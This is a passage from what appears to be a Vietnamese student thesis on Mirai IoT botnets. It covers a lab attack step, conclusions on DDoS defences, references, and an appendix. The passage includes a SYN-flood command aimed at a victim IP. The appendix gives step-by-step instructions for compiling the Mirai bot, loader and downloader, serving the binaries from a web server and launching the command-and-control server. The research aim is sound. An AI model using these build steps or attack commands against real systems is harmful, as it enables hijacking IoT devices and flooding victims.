IP CNC: 203.162.130.69
IP Victim: 203.162.130.87
Command: syn 203.162.130.87 20 psh==1
Attacker tấn công Victim bằng Syn Flood và có cả Flag Push trong vòng 20s.
49
Bước 7. Kiểm tra kết quả
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.51. Thiết bị IoT là IP
Camera bị chiếm quyền kiểm soát.
Hình Triển khai thực nghiệm botnet mirai trên các thiết bị iot.52. Victim bị Attacker
tấn công khiến lưu lượng tăng cao.
Bot liên tục gửi gói tin tấn công Victim trong vòng 20s. Tuy nhiên, số lượng
gói tin Victim phải hứng chịu rất lớn.
50
KẾT LUẬN
Để phòng chống DDoS IoT cần nâng cao ý thức về bảo mật của nhà phát triển
thiết bị, quản trị mạng và người tiêu dùng. Đề tài đã chỉ ra những điểm yếu của thiết
bị IoT từ đó đưa ra các giải pháp phòng chống DDoS IoT như sau:
Không sử dụng mật khẩu yếu.
Nâng cấp firmware, bản vá mới.
Tắt cổng 22, 23 hoặc 80 nếu không sử dụng.
Nâng cao hiểu biết, trình độ người quản trị.
Sử dụng Honeypot phân tích mã độc kết hợp firewall ngăn chặn kết nối
tới CNC server.
Thường xuyên cập nhật thông tin mới về lỗ hổng, cách thức tấn công
mới.
Khởi động lại thiết bị khi có dấu hiệu là Bot.
Bốn chương của đề tài đã thể hiện được rằng những mục tiêu đặt ra khi thực
hiện đề tài đều đã đạt được. Cụ thể:
Chương 1 đã giới thiệu được tổng quan về Internet of Things. Chương này
cũng đã chỉ ra rằng với xu hướng và những ứng dụng thực tiễn của IoT luôn tồn tại
những mối nguy hiểm tiềm ẩn. Trong đó, mối nguy hiểm lớn và đang hot nhất là
Botnet IoT.
Chương 2 nối tiếp chương một nói cụ thể hơn về sự nguy hiểm của tấn công
từ chối dịch vụ và xu hướng sử dụng Botnet IoT vào tấn công DDoS đang là kim chỉ
nam cho các cuộc tấn công mạng mà hacker đương đại đang nhắm đến.
Chương 3 lần lượt xem xét các thành phần và cấu trúc của mã nguồn Mirai.
Đồng thời cụ thể hóa các kỹ thuật và ý tưởng xây dựng Botnet Mirai của tác giả
thông qua sự phân tích các đoạn mã. Theo đó, sự phân tích đã chỉ ra những nhược
điểm còn thiếu sót trong mã nguồn. Những nhược điểm được lộ rõ đã được em triển
khai khắc phục.
Trong chương 4, thực nghiệm đã mô tả quá trình xây dựng thực tế trên hệ
thống và những thiết bị thật. Mô hình triển khai đã cụ thể hóa các thành phần mã
nguồn, cách chúng kết hợp và tương tác. Từ đó, ai cũng có thể hiểu rõ hơn về hệ
thống Botnet Mirai nói riêng và hệ thống Botnet trên thế giới nói chung.
51
Dù vậy, vẫn còn một số vấn đề liên quan. Trước hết, đề tài này mới chỉ đề cập
đến việc sử dụng bruteforce mà chưa đi sâu vào việc ứng dụng lỗ hổng zero-day,
CVE đã được công bố để khai thác thiết bị IoT do chưa đủ thời gian để nghiên cứu
thêm. Mã nguồn của tác giả có một số thiếu sót trong việc biên dịch sang x86 dẫn
đến lỗi khi chạy trên nền tảng này. Dù em đã cố gắng chỉnh sửa và biên dịch lại
nhưng chưa thành công. Việc giải quyết những điểm tồn tại này cũng chính là hướng
phát triển tương lai của đề tài.
52
TÀI LIỆU THAM KHẢO
[1]. Ths.Trương Hoài Phan, Tìm hiểu về DDoS mô tả cách tấn công và phương pháp
phòng thủ, December 15,2013.
[2]. GSM Accociation, IoT Security Guidelines Overview Document Version 1.1,
November 07, 2016.
[3]. Radware, DDoS Handbook, The Ultimate Guide to Everything You Need to
Know about DDoS Attacks, February 2, 2016.
[4]. Brian Krebs, Krebs on Security, Source Code for IoT Botnet ‘Mirai’,
October 01,2016.
[5]. Mirai DDoS Botnet: Source Code & Binary Analysis,
http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-
analysis/.
[6]. Word’s Largest Net: Mirai Botnet, https://hackforums.net/showthread.php?
tid=5420472.
53
PHỤ LỤC
#Update Repo
apt-get update
#Requirements
apt-get install gcc golang electric-fence mysql-server mysql-client
54
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-
sparc.tar.bz2
rm *.tar.bz2
mv cross-compiler-armv4l armv4l
mv cross-compiler-armv5l armv5l
mv cross-compiler-armv6l armv6l
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
55
mv cross-compiler-sparc sparc
# Golang
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go
cd /home/mirai/ddos/Mirai-Source-Code/mirai
./build.sh debug telnet
./build.sh debug telnet
./debug/enc string
edit file bot/table.c
vi bot/table.c
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
# Golang
export PATH=$PATH:/usr/local/go/bin
export GOPATH=/home/mirai/go
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
./build.sh debug telnet
./build.sh release telnet
#dlr
cd /home/mirai/ddos/Mirai-Source-Code/dlr
edit main.c => IP HTTP Server
comment ./build.sh: line 3: i686-gcc: command not found
./build.sh: line 16: i686-strip: command not found
#DLR build
# apt-get update && apt-get upgrade
58
apt-get install build-essential
Replace i686-gcc with gcc, i686-strip with strip and try again
./build.sh
copy dlr vao file bin cua loader
cp * ../../loader/bins/
cd ../../loader/src/
leafpad main.c #edit tftp,wget,bind address
cd ..
./build.debug.sh
./build.sh
mkdir /var/www/html/bins
cd /home/mirai/ddos/Mirai-Source-Code/mirai/
cp -R release/mirai.* /var/www/html/bins
cp -R release/miraint.* /var/www/html/bins
cp prompt.txt release/
cd release/
./cnc
59